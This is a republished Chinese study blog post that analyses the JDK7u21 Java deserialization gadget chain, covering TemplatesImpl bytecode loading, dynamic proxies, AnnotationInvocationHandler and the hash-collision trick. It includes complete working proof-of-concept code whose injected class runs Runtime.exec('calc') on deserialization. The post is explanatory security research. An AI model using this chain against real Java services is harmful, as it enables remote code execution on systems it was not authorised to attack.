JDK7u21反序列化Gadgets


原文https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/#more

一開始是學習FastJson反序列化的POC,然后發現欠缺不少知識,遂來補一下,收獲良多,總結下筆記

所謂JDK反序列化Gadgets就是不同於利用Apache-CommonsCollections這種外部庫,而是只利用JDK自帶的類所構造的

先下載並配置好JDK7u21

Javassist

為了理解POC構造過程,還需要學習一些前置知識,Java 字節碼以二進制的形式存儲在 .class 文件中,每一個 .class 文件包含 Java 類或接口,Javassist 就是一個用來 處理 Java 字節碼的類庫

pom.xml

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Arrays;

public class Demo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器
CtClass cc = pool.makeClass("Evil");//創建Evil類
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體
cc.addConstructor(cons);

byte[] byteCode=cc.toBytecode();//toBytecode得到Evil類的字節碼
System.out.println(Arrays.toString(byteCode));

cc.writeFile("D:/Evil/");//將字節碼寫到D:/Evil/

cc.toClass().newInstance();//得到Evil類類對象,借助反射構建Evil對象
}
}

將D:/Evil/Evil.calss拖入IDEA即可反編譯,可以看見javassist動態構建出了如下類

image-20200222150342279

至於為什么要繼承AbstractTranslet,和構造函數中寫命令執行的payload就涉及到下面POC的構造,暫時只需要了解javassist的大概功能

TemplatesImpl

之前參考網上分析文章的POC是從ysoserial中修改得來的,代碼中使用了ysoserial的一些類,我修改了一下將POC核心部分單獨提取出來方便理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;

public class Demo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器
CtClass cc = pool.makeClass("Evil");//創建Evil類
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體
cc.addConstructor(cons);
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil類的字節碼

byte[][] targetByteCode = new byte[][]{byteCode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates,"_bytecodes",targetByteCode);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

templates.getOutputProperties();
}

//通過反射為obj的屬性賦值
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

主要就是利用了TemplatesImpl,向其中的_bytecodes屬性賦值了一個惡意類,最終該惡意類被實例化並且調用了構造函數中的命令執行payload。javassist在這里的作用呢其實主要就是構建這么一個惡意類,並且得到其字節碼用以給TemplatesImpl相關屬性賦值,所以可以自行編譯一個惡意類並讀入字節碼來使用

但會發現這里其實反序列化TemplatesImpl后還需要調用getOutputProperties()方法才能觸發,不過在FastJson中已經可以形成完整利用鏈

getOutputProperties()函數下斷點,跟蹤一下執行過程

強制進入該函數

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

image-20200222160020838

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

這里得到POC中兩項屬性的構造條件,即_name不能為null,_class為null,然后進入defineTransletClasses()

其實最終的觸發點就在380行_class[_transletIndex].newInstance()defineTransletClasses()是對_class_transletIndex賦值

image-20200222160124453

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

image-20200222160514649

代碼比較長這里就直接復制出來了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
private void defineTransletClasses()
throws TransformerConfigurationException {

//_bytecodes不能為null
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
/*在JDK7u80這一段代碼是不同的
TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
所以為了兼容JDK7u80,_tfactory需要存在findClassLoader()方法,即TransformerFactoryImpl類*/
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
//獲取_bytecodes長度並創建_class數組,所以POC中將惡意類的字節碼轉換為一個二維字節數組,new byte[][]{byteCode}
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
//_bytecodes[0]即為惡意類的字節碼,ClassLoader.defineClass將字節數組轉換為類的一個實例類
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

//判斷惡意類的父類,即必須為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

defineTransletClasses()執行完以后,回到getTransletInstance(),此時_class[_transletIndex]已經為Evil類的一個類對象,調用newInstance()實例化Evil即可觸發該類構造函數或者靜態代碼塊中的代碼

image-20200222160756476

所以總結以上條件,便可理解TemplatesImpl的構造

1
2
3
4
setFieldValue(templates,"_bytecodes",targetByteCodes);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

動態代理

以上POC是需要反序列化TemplatesImpl類並調用其getOutputProperties()方法才能觸發,即可以放入FastJson的反序列化處,但若沒有觸發getOutputProperties()的點,就需要尋找其他手段

代理是為了在不改變目標對象方法的情況下對方法進行增強,比如,我們希望對方法的調用增加日志記錄,或者對方法的調用進行攔截

假設有一個Person類實現了IPerson接口中的say方法,但現在要在say方法前后實現一些邏輯,那么借助動態代理實現如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args) throws Exception {
Person person = new Person();
Handler handler = new Handler(person);
//Proxy.newProxyInstance會返回一個代理對象,第一個參數為類加載器,第二個參數為實際對象實現的接口,第三個即為我們構造的handler對象
IPerson iPerson = (IPerson) Proxy.newProxyInstance(IPerson.class.getClassLoader(), new Class[] {IPerson.class}, handler);
iPerson.say("Hello");//調用代理對象的say,即會調用傳入的handler對象中的invoke,並傳入方法對象和參數
}
}

//需要被代理的對象實現的接口
interface IPerson{
void say(String sentence);
}

//實際需要被代理的對象
class Person implements IPerson{
public void say(String sentence) {
System.out.println(sentence);
}
}

//Handler對象,需要繼承InvocationHandler,調用代理對象的方法時,實際會調用Handler的invoke方法
class Handler implements InvocationHandler{
private Object target;
Handler(Object target){
this.target=target;
}
//proxy為代理對象,method為要調用的方法的Method對象,args為調用method時傳入的參數
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("I am speaking");
method.invoke(target, args);//通過反射調用實際對象target的method方法
System.out.println("My word is over");
return null;
}
}

AnnotationInvocationHandler

AnnotationInvocationHandler就是一個InvocationHandler的實現類,也在下面的POC中起到關鍵作用

先貼出整理好的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class Demo {
//序列化
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
//反序列化
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}

//通過反射為obj的屬性賦值
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

//封裝了之前對惡意TemplatesImpl類的構造
private static TemplatesImpl getEvilTemplatesImpl() throws Exception{
ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器
CtClass cc = pool.makeClass("Evil");//創建Evil類
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體
cc.addConstructor(cons);
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil類的字節碼
byte[][] targetByteCode = new byte[][]{byteCode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates,"_bytecodes",targetByteCode);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates=getEvilTemplatesImpl();

HashMap map = new HashMap();

//通過反射創建代理使用的handler,AnnotationInvocationHandler作為動態代理的handler
Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

Templates proxy = (Templates) Proxy.newProxyInstance(Demo.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

map.put("f5a5a608", templates);

byte[] obj=serialize(set);
unserialize(obj);
}
}

可見最后unserialize(obj)只是反序列化了一個LinkedHashSet類就觸發了命令執行

Java在反序列化的時候會調用ObjectInputStream類的readObject()方法,如果被反序列化的類重寫了readObject(),那么該類在進行反序列化時,Java會優先調用重寫的readObject()方法

LinkedHashSet沒有readObject()但是繼承自HashSet

image-20200222200618469

HashSet實現了Serializable接口並且有readObject()方法,所以在反序列化LinkedHashSet時會調用其父類HashSetreadObject(),可以在該函數處下斷點運行POC進一步跟蹤調試

image-20200222200653974

java.util.HashSet#readObject

image-20200222200740551

到309行的邏輯是將POC中add到settemplatesproxy加入到map中,

image-20200222201701982

PRESENT是一個常量,就是一個新的object對象

image-20200222225202662

繼續跟進put方法,會在第二次調用map.put時進入下面的475行的位置,即現在傳入的keyproxy

java.util.HashMap#put

image-20200222203051744

這段代碼本意是判斷最新的元素是否已經存在的元素,如果不是已經存在的元素,就插入到table中,e.key為前一個元素即templates,key為當前元素proxy

table[i]就是一個鍵為我們構造的templates的Map

image-20200222220213982

當前的e.keykey,一個是templates,另一個是POC中的proxy,顯然不同,(k = e.key) == key為false

image-20200222220451248

這條鏈想要完成是需要進入key.equals(k)的,依據短路特性,那么必須要e.hash == hash為true,也就是需要滿足 hash(templates)== hash(proxy),看起來貌似不可能,但漏洞作者確實做到了(大寫的佩服)

這里hash的繞過方法就暫時放在下面,先接着跟蹤key.equals(k)

image-20200222203511373

由於POC中使用動態代理,這里調用Templates.equals()就會進入handlerinvoke

sun.reflect.annotation.AnnotationInvocationHandler#invoke

var1就是上圖中的keyvar2equals方法對象,var3是傳入的參數數組,即上圖中的k(TemplatesImpl)

image-20200222204446774

繼續跟入equalsImpl

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

image-20200222210434857

分析之前先看一下這個類的相關方法和屬性

首先是構造函數

sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler

image-20200222210525096

在構造handler時ctor.newInstance(Templates.class, map)

即這里的this.typethis.memberValues分別是Templates.classmap

sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods

image-20200222210905902

並未對this.memberMethods賦值,所以這里進入if分支,最后返回的是this.type的所有方法,即Templates的所有方法

sun.reflect.annotation.AnnotationInvocationHandler#asOneOfUs

判斷var1對象若是一個AnnotationInvocationHandler實例的話則轉換為AnnotationInvocationHandler

image-20200222211521556

然后接着看equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private Boolean equalsImpl(Object var1) {//var1是POC中構造的templates
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();//var2是Templates的所有方法
int var3 = var2.length;//Templates方法的數量

for(int var4 = 0; var4 < var3; ++var4) {//迭代Templates的所有方法
Method var5 = var2[var4];//var5為Templates的中的某個方法
String var6 = var5.getName();//var6為該方法的名稱
Object var7 = this.memberValues.get(var6);//在memberValues中獲取key為var6的值,但memberValues只有一個key為f5a5a608的鍵值對,所以var7為null
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//var9也為null
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);//運行會到這里,所以會調用Templates中的所有方法
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

既然調用了Templates中的所有方法,自然包括getOutputProperties(),即完成了命令執行

Hash繞過

image-20200222203511373

java.util.HashMap#hash

hash()中調用了對象本身的hashCode()

image-20200222230037778

調用hash(templates)的時候,這個類沒有重寫,調用的是templates默認的hashCode()方法

當調用hash(proxy)的時候,則會跳到AnnotationInvocationHandler.invoke()

sun.reflect.annotation.AnnotationInvocationHandler#invoke

image-20200222223127808

sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl

該方法會從memberValues中進行遍歷,並且依次計算key.hashCode(),而這個memberValues是我們在初始化AnnotationInvocationHandler的時候傳入的map

image-20200222223209538

sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode

image-20200222230700698

所以

var1=0; var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

相當於

var1 = 127 * map中鍵的hashCode ^ map中值的hashCode

POC中構造map.put("f5a5a608", templates),而字符串的hashCode為0

所以

var1 = 127 * 0 ^ templates的hashCode

var1 = templates的hashCode

map.put的位置問題

仔細觀察POC會發現,並沒有在創建一個HashMap后就立即插入數據,而是把map.put("f5a5a608", templates)放在了set.add之后

image-20200223000229937

如果放在set.add之前會直接在本地觸發命令執行,並且得到的序列化之后的數據不能反序列化成功

image-20200223000741750

java.util.HashSet#add

這是因為add方法中會直接調用map.put,然后后面的過程就同之前分析的一致了

image-20200223001156031

參考

JDK反序列化Gadgets 7u21

JDK7u21反序列化漏洞分析

秒懂Java動態編程(Javassist研究)

Java動態代理-實戰


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM